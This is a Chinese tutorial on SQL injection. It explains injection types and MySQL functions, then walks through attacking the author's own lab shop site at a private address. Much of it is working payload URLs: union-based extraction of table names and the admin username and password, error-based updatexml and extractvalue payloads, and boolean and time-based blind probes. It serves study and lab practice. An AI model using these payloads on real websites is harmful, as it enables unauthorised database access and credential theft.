SQL注入介绍
- SQL
结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言.1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准.不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充.所以,实际上不同数据库系统之间的SQL不能完全相互通用.
- 漏洞原理
SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击.
- 可能存在SQL注入的地方
- GET 数据
- POST 数据
- HTTP 头部
- Cookie 数据
- 漏洞危害
攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库).在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限.
- 分类
SQL 注入漏洞根据不同的标准,有不同的分类.但是从数据类型分类来看,SQL 注入分为数字型和字符型.数字型注入就是说注入点的数据,拼接到SQL 语句中是以数字型出现的,即数据两边没有被单引号,双引号包括.字符型注入正好相反.
- 根据注入手法分类
- UNION query SQL injection(可联合查询注入)联合查询
- Error-based SQL injection(报错型注入)报错注入
- Boolean-based blind SQL injection(布尔型注入)布尔盲注
- Time-based blind SQL injection(基于时间延迟注入)延时注入
- Stacked queries SQL injection(可多语句查询注入)堆叠查询
mysql数据库常用参数
注释
# mysql 数据库的注释
# 注释内容
-- 注释内容
/* 注释内容 */
/*! 注释内容 */
mysql元数据库数据库information_schema
information_schema
|
+-- tables
| |
| `-- table_name
| |
| `-- table_schema
|
`-- columns
|
`-- column_name
|
`-- table_name
|
`-- table_schema
MYSQL常用函数与参数
- 由于关系型数据库系统,具有明显的库/表/列/内容结构层次,所以我们通过SQL 注入漏洞获取数据库中信息时候,也依据这样的顺序.首先获取数据库名,其次获取表名,然后获取列名,最后获取数据.
逻辑相关
- = : 等于
- > : 大于
- >= : 大于等于
- <= : 小于等于
- <> : 不等于
- and : 与
- or : 或
- 在SQL语句中逻辑运算与(and)比或(or)的优先级高
select 1=2 and 1=2 or 1=1;
(结果为1)
函数
- version() : 数据库版本
- database() : 当前数据库名
- user() : 用户名
- current_user() : 当前用户名
- system_user() : 系统用户名
- @@datadir : 数据库路径
- @@versoin_compile_os : 操作系统版本
- length() : 返回字符串的长度
- substring() : 截取字符串
- mid() : 截取字符串用法与substr()相同
- substr() : 截取字符串用法与mid()相同
- left() : 从左侧开始取指定字符个数的字符串
- concat() : 没有分隔符的连接字符串
- concat_ws() : 含有分割符的连接字符串
- group_conat() : 连接一个组的字符串,一般配合
group by
语句使用 - ord() : 返回ASCII码
- ascii() : 返回ASCII码
- hex() : 将字符串转换为十六进制
- unhex() : 将十六进制转换为字符串
- md5() : 返回MD5值
- floor() : 向下取整
- round() : 对结果进行四舍五入
- rand() : 返回0-1之间的随机浮点数
- load_file() : 读取文件,并返回文件内容作为一个字符串
- sleep() : 睡眠时间为指定的秒数
- if(true,t,f) : if判断
- find_in_set() : 返回字符串在字符串列表中的位置
- benchmark() : 指定语句执行的次数
- name_const() : 返回表作为结果
SQL注入实战
注入点的判断
可以使用扫描工具扫描网站的目录,这里使用的靶场是我学习PHP一个月的时候写的一个商城项目,里面包含了sql注入漏洞,chrome会将多余的符号转码,这里我使用firefox进行测试
部署好网站以后查看扫描结果
- 正常情况的网站会有大量的目录会被发现,可以根据目录结构进行攻击
字符型或数字型判断
- 这里由于我代码缘故,屏蔽了报错,如果增加了引号发生了数据库报错或没有结果,就会返回主页,就可以根据报错判断sql注入类型
使用引号测试
#添加引号查看页面反馈
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62'
是否有布尔类型
#根据页面显示
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62 and 1=2
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and '1'='2
- 两个url对比,第二个链接以字符型的恒假式注入sql语句造成查询结果为空而返回首页,所以是字符型
延时判断
#添加引号查看页面反馈
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62 and sleep(5)
10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and sleep(5) and 1='1
- 两个url对比,第二个链接以字符型的sleep函数注入sql语句造成查询结果延迟5秒,所以是字符型
SQL注入攻击
- 目标:通过SQL注入漏洞获得后台管理员帐密并成功登录系统
- 后台地址: http://10.0.0.254:81/admin/index.php?c=Login&a=index
- 注入点: 10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62
联合查询
由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入.联合查询就是SQL语法中的union语句.该语句会同时执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接.
- 示例语句:
select * from a union select * from b
- 由于虚拟表是二维结构,联合查询会"纵向"拼接,两张虚拟的表
必要条件
- 两张虚拟的表具有相同的列数
- 虚拟表对应的列的数据类型相同
判断字段个数
- 可以使用
order by
语句来判断当前select语句所查询的虚拟表的列数.order by
语句本意是按照某一列进行排序,在mysql中可以使用数字来代替具体的列名,比如order by 1
就是按照第一列进行排序,如果mysql没有找到对应的列,就会报错[Unknown column].我们可以依次增加数字,直到数据库报错
#通过order by来判断字段个数 %23 为转化以后 # 符号,分号代表sql语句的结束
#查看源码以后可以获取到实际拼接的sql语句
# SELECT * FROM `goods` WHERE id='62' order by 5;#' AND status='1'
#根据页面反馈判断字段个数
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' order by 9;%23
相当于通过页面是否跳转首页来判断sql语句是否报错或无结果
判断显示位置
- 得到字段个数之后,可以尝试构造联合查询语句.这里我们并不知道表名,根据mysql数据库特性,select语句在执行的过程中,并不需要指定表名.
#可以union一个虚拟的表
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' union select 1,2,3,4,5,6,7,8,9;%23
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' union select null,null,null,null,null,null,null,null,null;%23
#页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录.因此构造SQL语句
#偷偷看了一眼代码,因为我代码有二次查询的缘故所以这里的3用89代替
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and 1=2 union select 991,992,89,994,995,996,997,998,999;%23
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' union select 991,992,89,994,995,996,997,998,999;%23
可以利用这些回显的数字进行其他查询操作
- 获取版本和库名
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' union select 991,database(),89,version(),995,996,997,998,999;%23
- 获取表名
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' union select 991,group_concat(table_name),89,version(),995,996,997,998,999 from information_schema.tables where table_schema=database();%23
#如果数据库报错,考虑用hex()函数将结果由字符串转化成16进制
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' union select 991,hex(group_concat(table_name)),89,version(),995,996,997,998,999 from information_schema.tables where table_schema=database();%23
16进制转化
#得到16进制编码
636172742C676F6F64732C6C696E6B2C6F726465722C6F726465725F696E666F2C747970652C757365722C757365725F696E666F
获取用户表的字段
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' union select 991,group_concat(column_name),89,version(),995,996,997,998,999 from information_schema.columns where table_schema=database() and table_name='user';%23
#如果数据库报错,考虑用hex()函数将结果由字符串转化成16进制
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' union select 991,hex(group_concat(column_name)),89,version(),995,996,997,998,999 from information_schema.columns where table_schema=database() and table_name='user';%23
获取表中内容
#查看条数
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' union select 991,count(*),89,version(),995,996,997,998,999 from user;%23
#获取第一条记录
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' union select 991,concat(id,':',username,':',password,':',level,':',addtime),89,version(),995,996,997,998,999 from user limit 0,1;%23
- 只有1条记录
- 获取第一条记录,通过漏洞获得了帐号密码
报错注入
在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以进行报错注入.报错注入的原理,就是在错误信息中执行SQL 语句.触发报错的方式很多,具体细节也不尽相同.此处建议直接背公式即可.
- 利用了
rand()
和group by
语句聚合的特性,在生成字段和聚合的时候生成重复字段来使sql报错,由于使用了rand()
,所以sql报错具有随机性 - 由于报错就返回主页,所以报错注入无法实现
#group by重复键冲突
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a);%23
#XPATH 报错 updatexml()
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' and updatexml(1,concat('^',(select database()),'^'),1);%23
#XPATH 报错 extractvalue()
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' and extractvalue(1,concat('^',(select version()),'^'));%23
布尔盲注
利用页面返回的布尔类型状态,正常或者不正常
- 获取数据库名
#猜测数据库名长度
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and length(database())=3;%23
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and length(database())=4;%23
#根据assic码值猜库名
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and ascii(substr(database(),1,1))=115;%23
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and ascii(substr(database(),1,1))>99;%23
延时注入
利用sleep()语句的延时性,以时间线作为判断条件
- 获取数据库名
#猜测数据库名长度
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and if((length(database())=3),sleep(5),1);%23
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and if((length(database())=4),sleep(5),1);%23
#根据assic码值猜库名
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and if((ascii(substr(database(),1,1))=115),sleep(5),1);%23
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and if((ascii(substr(database(),1,1))>99),sleep(5),1);%23
0 条评论